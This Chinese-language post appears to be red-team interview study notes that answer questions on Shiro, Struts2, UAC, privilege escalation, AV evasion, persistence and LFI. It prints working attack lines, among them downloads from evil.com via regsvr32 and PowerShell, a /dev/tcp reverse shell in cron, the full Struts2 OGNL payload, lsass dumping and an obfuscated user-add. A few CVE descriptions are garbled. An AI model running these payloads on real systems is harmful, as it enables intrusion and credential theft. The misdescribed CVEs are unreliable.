網絡安全領域各種資源,學習文檔,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各種好玩的項目及好用的工具,歡迎關注。
目錄
滲透測試紅隊面試七
一百八十一、Shiro漏洞類型,721原理,721利用要注意什么?
一百八十二、HVV三大洞
一百八十三、天擎終端防護繞過思路
一百八十四、免殺木馬的思路
一百八十五、JSONP與CORS跨域危害
一百八十六、外網打點進入內網案例
一百八十七、RMI利用原理
一百八十八、域內普通用戶利用
一百八十九、寶塔禁止PHP函數繞過
一百九十、證書透明度的危害
一百九十一、內網滲透降權的作用
一百九十二、Webshell有SYSTEM權限但無法執行命令
一百九十三、TrustedInstaller權限原理
一百九十四、2008服務權限提權
一百九十五、Windows UAC原理
一百九十六、繞過火絨/360添加用戶
一百九十七、偽造釣魚郵箱與風險
一百九十八、默認端口
一百九十九、XSS組合拳Getshell
二百、爛土豆(Rotten Potato)提權原理
二百〇一、PowerShell免殺制作
二百〇二、繞過內存Hash提取查殺
二百〇三、Linux/Windows權限維持
二百〇四、藍隊與紅隊工作流程
二百〇五、Shellcode嵌入正常EXE
二百〇六、Spring框架漏洞
二百〇七、Struts2漏洞利用原理
二百〇八、PHP/Java反序列化漏洞原理與修復
二百〇九、CRLF注入原理
二百一十、PHP LFI漏洞
滲透測試紅隊面試七
一百八十一、shiro漏洞類型,721原理,721利用要注意什么?一百八十二、hvv三大洞?一百八十三、天擎終端防護如何繞過,繞過思路?一百八十四、免殺木馬的思路?一百八十五、jsonp跨域的危害,cors跨域的危害?一百八十六、說出印象比較深刻的一次外網打點進入內網?一百八十七、rmi的利用原理?一百八十八、域內的一個普通用戶(非域用戶)如何進行利用?一百八十九、寶塔禁止PHP函數如何繞過?一百九十、證書透明度的危害?一百九十一、內網滲透降權的作用?一百九十二、webshell有system權限但無法執行命令,怎么辦?一百九十三、TrustedInstall權限的原理是什么?一百九十四、2008的服務權限如何進行提權?一百九十五、Windows UAC原理是什么?一百九十六、Windows添加用戶如何繞過火絨以及360?一百九十七、如何偽造釣魚郵箱?會面臨什么問題?一百九十八、分別說出redis、weblogic、Mongodb、Elasticsearch、ldap、sambda、Jenkins、rmi默認端口。一百九十九、XSS如何配合組合拳進行getshell。二百、爛土豆提權使用過嗎?它的原理?二百〇一、powershell免殺怎么制作?二百〇二、提取內存hash被查殺,如何繞過?二百〇三、分別說下linux、windows的權限維持?二百〇四、如何開展藍隊工作?如何開展紅隊工作?二百〇五、如何把shellcode嵌入到正常exe中?二百〇六、描述下Spring框架的幾個漏洞?二百〇七、說下strust2的漏洞利用原理?二百〇八、php/java反序列化漏洞的原理?解決方案?二百〇九、CRLF注入的原理二百一十、php的LFI,本地包含漏洞原理是什么?寫一段帶有漏洞的代碼。手工的話如何發掘?如果無報錯回顯,你是怎么遍歷文件的?
一百八十一、Shiro漏洞類型,721原理,721利用要注意什么?
- 漏洞類型
- 反序列化漏洞(Shiro-550):因硬編碼密鑰導致攻擊者偽造RememberMe Cookie,利用Apache Commons Collections鏈執行任意代碼。
- 權限繞過漏洞(CVE-2020-1957等):URL路徑解析缺陷(如
/admin/
被解析為/admin
繞過鑒權)。- Padding Oracle攻擊(Shiro-721):CBC加密模式填充錯誤漏洞,可破解密鑰偽造惡意Cookie。
- Shiro-721原理
- 攻擊者需先獲取合法用戶的RememberMe Cookie(需高權限賬戶)。
- 利用CBC加密的填充錯誤機制,通過多次請求(約數千次)逐字節爆破AES密鑰。
- 最終構造惡意序列化數據,觸發反序列化漏洞執行代碼。
- 利用注意事項
- 需要穩定的網絡環境(避免請求失敗中斷爆破)。
- 目標需開啟RememberMe功能且使用默認AES加密模式。
- 攻擊時間較長,需隱蔽操作避免觸發告警。
一百八十二、HVV三大洞
- 未授權訪問
- Redis/MongoDB未授權:直接連接執行命令或寫入SSH密鑰。
- K8s API Server暴露:未鑒權下創建Pod或執行容器逃逸。
- 遠程代碼執行(RCE)
- Web應用漏洞:如Fastjson反序列化、Log4j2 JNDI注入。
- 中間件漏洞:如WebLogic T3協議反序列化、Apache Solr Velocity模板注入。
- 弱口令與默認配置
- 系統/設備弱口令:如Tomcat默認密碼
admin:admin
。- 服務默認端口暴露:如Elasticsearch 9200端口未配置訪問控制。
一百八十三、天擎終端防護繞過思路
- 進程注入與內存免殺
- 將惡意代碼注入可信進程(如
svchost.exe
)或通過反射型DLL加載。- 使用工具:Cobalt Strike的
shinject
、Metasploit的migrate
。- 驅動級繞過
- 利用已簽名驅動的漏洞(如某些硬件廠商驅動)加載內核模塊。
- 例如:通過
BYOVD(Bring Your Own Vulnerable Driver)
攻擊。- 白名單程序濫用
- 劫持系統工具執行惡意操作,如:
- WMI:通過
wmic
執行遠程腳本。- MsBuild:編譯內嵌惡意代碼的C#項目文件。
一百八十四、免殺木馬的思路
- 代碼混淆與加密
- 使用AES加密Shellcode,運行時動態解密(如使用
VirtualAlloc
分配內存執行)。- 工具:
sgn(Shikata Ga Nai)
編碼器、ConfuserEx
混淆器。- 合法工具加載
- 利用微軟簽名的程序加載惡意代碼,如:
- Regsvr32:執行遠程腳本(
regsvr32 /s /n /u /i:http://evil.com/file.sct scrobj.dll
)。- Mshta:運行HTA文件執行PowerShell命令。
- 反沙箱與反調試
- 檢測虛擬機環境(如檢查進程名
vmtoolsd
、注冊表鍵值)。- 延遲執行:通過
Sleep()
函數或條件觸發繞過行為分析。
一百八十五、JSONP與CORS跨域危害
- JSONP危害
- 敏感數據泄露:若回調函數名未過濾,攻擊者可劫持返回數據(如竊取用戶身份信息)。
- CSRF攻擊:結合JSONP接口實現跨站請求偽造(如修改用戶密碼)。
- CORS危害
- 配置不當導致越權:如
Access-Control-Allow-Origin: *
允許任意域讀取數據。- 結合XSS攻擊:通過CORS信任域下的XSS竊取其他域的數據(如Cookie)。
一百八十六、外網打點進入內網案例
案例背景:某企業官網存在Git源碼泄露,導致數據庫密碼暴露。
攻擊鏈:
- 外網突破:通過泄露的數據庫密碼登錄后臺,上傳Webshell。
- 內網滲透:發現內網Jenkins服務(未授權訪問),利用Groovy腳本執行命令。
- 橫向移動:通過Jenkins節點獲取域用戶憑證,利用SMB爆破橫向至域控服務器。
一百八十七、RMI利用原理
- 攻擊面
- RMI Registry反序列化:向Registry發送惡意對象觸發反序列化(如CVE-2017-3248)。
- 遠程對象方法調用:通過動態類加載(DGC)下載惡意類文件執行代碼。
- 利用工具
- ysoserial:生成Gadget鏈Payload(如JRMPClient)。
- Exploit步驟:
bash
復制
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 'cmd.exe /c calc'
一百八十八、域內普通用戶利用
- 信息收集
- PowerView:枚舉域內主機(
Get-NetComputer
)、共享(Invoke-ShareFinder
)。- BloodHound:分析域內權限關系,尋找攻擊路徑(如ACL濫用)。
- 橫向移動
- Pass-the-Hash:使用Mimikatz或Impacket的
psexec.py
傳遞NTLM哈希。- MS17-010漏洞:利用永恒之藍攻擊未修補的主機。
- 提權路徑
- SeImpersonate權限濫用:使用Juicy Potato或PrintSpoofer獲取SYSTEM權限。
- 服務配置錯誤:利用弱權限服務路徑替換DLL或EXE文件。
一百八十九、寶塔禁止PHP函數繞過
- 函數替代
- 禁用
system
但允許shell_exec
:使用shell_exec('whoami')
執行命令。- 反引號執行:
echo \
whoami`;`。- LD_PRELOAD劫持
- 編寫惡意共享庫(
.so
),通過putenv
設置LD_PRELOAD
劫持函數調用。- 代碼示例:
php
復制
putenv("LD_PRELOAD=/tmp/evil.so"); mail('','','',''); // 觸發新進程加載惡意庫
一百九十、證書透明度的危害
- 子域名劫持
- 攻擊者監控證書透明度日志,發現未使用的子域并注冊指向惡意服務器。
- 例如:
dev.example.com
在證書日志中存在但DNS未解析,攻擊者劫持后釣魚。- 偽造證書信任鏈
- 利用透明度日志中的過期證書,偽裝成合法服務進行中間人攻擊。
一百九十一、內網滲透降權的作用
- 規避檢測
- 降權至普通用戶減少日志告警(如域管操作觸發SIEM規則)。
- 權限維持隱蔽性
- 低權限賬戶不易被清理(如域管定期重置密碼)。
一百九十二、Webshell有SYSTEM權限但無法執行命令
- 權限限制分析
- AppLocker策略:限制非白名單程序執行(如禁止
cmd.exe
)。- 殺軟攔截:靜態檢測Webshell關鍵詞或動態攔截惡意進程。
- 繞過方法
- COM對象調用:使用
WScript.Shell
執行命令。php
復制
$wsh = new COM('WScript.Shell'); $wsh->Run('cmd.exe /c whoami', 0, false);
- DLL側加載:通過
rundll32
加載惡意DLL。
一百九十三、TrustedInstaller權限原理
- 權限層級
- TrustedInstaller是Windows資源的所有者(如系統文件),權限高于SYSTEM。
- 提權方法
- 通過服務配置修改:劫持
TrustedInstaller
服務路徑加載惡意程序。- 利用漏洞:如CVE-2020-1048(打印服務漏洞)獲取權限。
一百九十四、2008服務權限提權
- 服務路徑劫持
- 查找弱權限服務(
accesschk.exe -uwcqv
),替換其二進制文件。- DLL劫持
- 將惡意DLL放置到服務加載路徑中,劫持合法DLL調用。
- SC命令濫用
- 通過
sc config
修改服務BIN_PATH指向惡意程序。
一百九十五、Windows UAC原理
- 權限隔離機制
- 默認以標準用戶權限運行進程,提權需用戶確認或數字簽名驗證。
- 繞過方法
- 白名單程序濫用:如
cmstp.exe
、msiexec.exe
執行惡意代碼。- UAC Bypass漏洞:如CVE-2019-1388(證書對話框提權)。
一百九十六、繞過火絨/360添加用戶
- 直接修改注冊表
- 使用
reg add
添加用戶鍵值,避開用戶態Hook:cmd
復制
reg add "HKLM\SAM\SAM\Domains\Account\Users\000003F0" /v F /t REG_BINARY /d [hex數據]
- Powershell繞過
- 使用混淆腳本調用
net user
命令:powershell
復制
&('ne'+'t') u'ser' evil P@ssw0rd /add
一百九十七、偽造釣魚郵箱與風險
- 偽造方法
- 域名仿冒:注冊相似域名(如
examp1e.com
代替example.com
)。- SPF記錄偽造:利用SPF配置不嚴格(
?all
)繞過郵件服務器驗證。- 面臨風險
- DMARC檢測:收件方服務器可能標記郵件為垃圾或拒收。
- 法律風險:可能觸犯《刑法》第二百八十五條(非法侵入計算機信息系統罪)。
一百九十八、默認端口
服務 默認端口 Redis 6379 WebLogic 7001 MongoDB 27017 Elasticsearch 9200/9300 LDAP 389/636 Samba 445/139 Jenkins 8080 RMI Registry 1099
一百九十九、XSS組合拳Getshell
- XSS + CSRF
- 通過XSS竊取管理員Cookie,偽造CSRF請求上傳Webshell。
- XSS + CORS
- 利用CORS配置錯誤,通過XSS跨域讀取內網接口數據,獲取敏感信息。
- XSS + 文件上傳
- 通過XSS劫持管理員會話,調用后臺文件上傳功能傳馬。
二百、爛土豆(Rotten Potato)提權原理
- 令牌模擬漏洞
- 利用Windows本地NTLM認證流程(NTLM over localhost),將SYSTEM令牌模擬到當前進程。
- 利用條件
- 需具備
SeImpersonatePrivilege
權限(IIS、SQL Server等默認擁有)。- 攻擊步驟
- 觸發本地NTLM認證,通過
DCOM
服務劫持端口,最終獲取SYSTEM令牌。
二百〇一、PowerShell免殺制作
- 代碼混淆
- 使用
Invoke-Obfuscation
工具混淆腳本:powershell
復制
Invoke-Obfuscation -ScriptPath evil.ps1 -Command 'Token\All\1,Launcher\PS\124'
- 內存加載
- 反射加載Shellcode:
powershell
復制
$bytes = (New-Object Net.WebClient).DownloadData('http://evil.com/shellcode.bin'); [Reflection.Assembly]::Load($bytes).EntryPoint.Invoke($null,$null);
二百〇二、繞過內存Hash提取查殺
- 定制化工具
- 修改Mimikatz源碼(如函數名、字符串特征),繞過靜態檢測。
- 直接內存讀取
- 使用
C++
編寫工具直接讀取lsass.exe
內存,避開API Hook。- 合法憑證導出
- 使用微軟官方工具
procdump
導出內存鏡像,本地解析:cmd
復制
procdump.exe -ma lsass.exe lsass.dmp
二百〇三、Linux/Windows權限維持
Linux Windows 1. SSH后門:修改 ~/.ssh/authorized_keys
添加攻擊者公鑰。1. 注冊表啟動項: HKLM\Software\Microsoft\Windows\CurrentVersion\Run
添加惡意路徑。2. Cron定時任務:添加 * * * * * /bin/bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'
。2. 計劃任務: schtasks /create /tn "Update" /tr "C:\evil.exe" /sc minute /mo 1
。3. SUID提權: chmod +s /bin/bash
,通過bash -p
獲取root權限。3. 服務后門:創建服務指向惡意程序, sc create EvilService binPath= "C:\evil.exe"
。
二百〇四、藍隊與紅隊工作流程
藍隊(防御):
- 監控與分析:通過SIEM(如Splunk)實時分析日志,檢測異常行為(如異常登錄、橫向移動)。
- 威脅狩獵:使用EDR工具(如CrowdStrike)主動搜尋隱藏威脅。
- 應急響應:隔離受感染主機,分析攻擊鏈,修復漏洞并溯源攻擊者。
紅隊(攻擊模擬):
- 情報收集:通過OSINT(如Shodan、Hunter.io )收集目標信息。
- 漏洞利用:模擬APT攻擊鏈(如魚叉郵件釣魚+內網滲透)。
- 報告輸出:提供詳細攻擊路徑與防御建議(如加固建議、檢測規則)。
二百〇五、Shellcode嵌入正常EXE
- 資源文件插入
- 使用Visual Studio將Shellcode作為資源文件嵌入,運行時加載執行:
cpp
復制
HRSRC hRes = FindResource(NULL, MAKEINTRESOURCE(IDR_RCDATA1), RT_RCDATA); LPVOID pShellcode = LockResource(LoadResource(NULL, hRes));
- 附加節區注入
- 使用
CFF Explorer
在PE文件中添加新節區,寫入Shellcode并修改入口點。- 進程鏤空(Process Hollowing)
- 創建合法進程(如
svchost.exe
),卸載其內存,寫入Shellcode并執行。
二百〇六、Spring框架漏洞
- CVE-2022-22963(SpEL注入)
- 攻擊者通過
spring-cloud-function
的SpEL表達式執行任意命令。- CVE-2022-22965(JDBC注入)
- 利用Spring MVC參數綁定漏洞,通過惡意請求修改JDBC URL觸發RCE。
- CVE-2018-1273(遠程代碼執行)
- 通過Spring Data Commons的嵌套屬性綁定漏洞執行OGNL表達式。
二百〇七、Struts2漏洞利用原理
- OGNL表達式注入
- 攻擊者通過惡意參數(如
Content-Type
、filename
)注入OGNL表達式。- 示例(CVE-2017-5638):
http
復制
POST /struts2-showcase/upload.action HTTP/1.1 Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
二百〇八、PHP/Java反序列化漏洞原理與修復
- 漏洞原理
- PHP:
unserialize()
函數觸發魔術方法(如__wakeup()
、__destruct()
)執行代碼。- Java:
readObject()
方法反序列化惡意對象,觸發Gadget鏈(如Apache Commons Collections)。- 修復方案
- 輸入過濾:避免反序列化用戶可控數據。
- 安全配置:PHP禁用危險類(
phar.readonly=On
),Java使用SerialKiller
庫過濾類。
二百〇九、CRLF注入原理
- 攻擊場景
- 注入
\r\n
分割HTTP頭,如:http
復制
服務器響應:
GET /%0d%0aSet-Cookie:evil=value HTTP/1.1
http
復制
HTTP/1.1 200 OK Set-Cookie: evil=value
- 利用后果
- 設置惡意Cookie、緩存投毒(如X-Forwarded-For頭偽造IP)。
二百一十、PHP LFI漏洞
- 漏洞代碼示例
php
復制
<?php $page = $_GET['page']; include($page . '.html'); ?>
- 攻擊者可傳入
page=../../etc/passwd%00
,利用空字節截斷后綴。- 手工挖掘技巧
- 路徑遍歷測試:
?page=..%2f..%2fetc/passwd
。- 偽協議利用:
?page=php://filter/convert.base64-encode/resource=index.php
讀取源碼。- 無回顯文件遍歷
- 時間盲注:通過
include
延時判斷文件存在性(如/proc/self/cwd/
路徑遍歷)。- 錯誤觸發:包含不存在的文件觸發Warning日志,觀察服務器響應差異。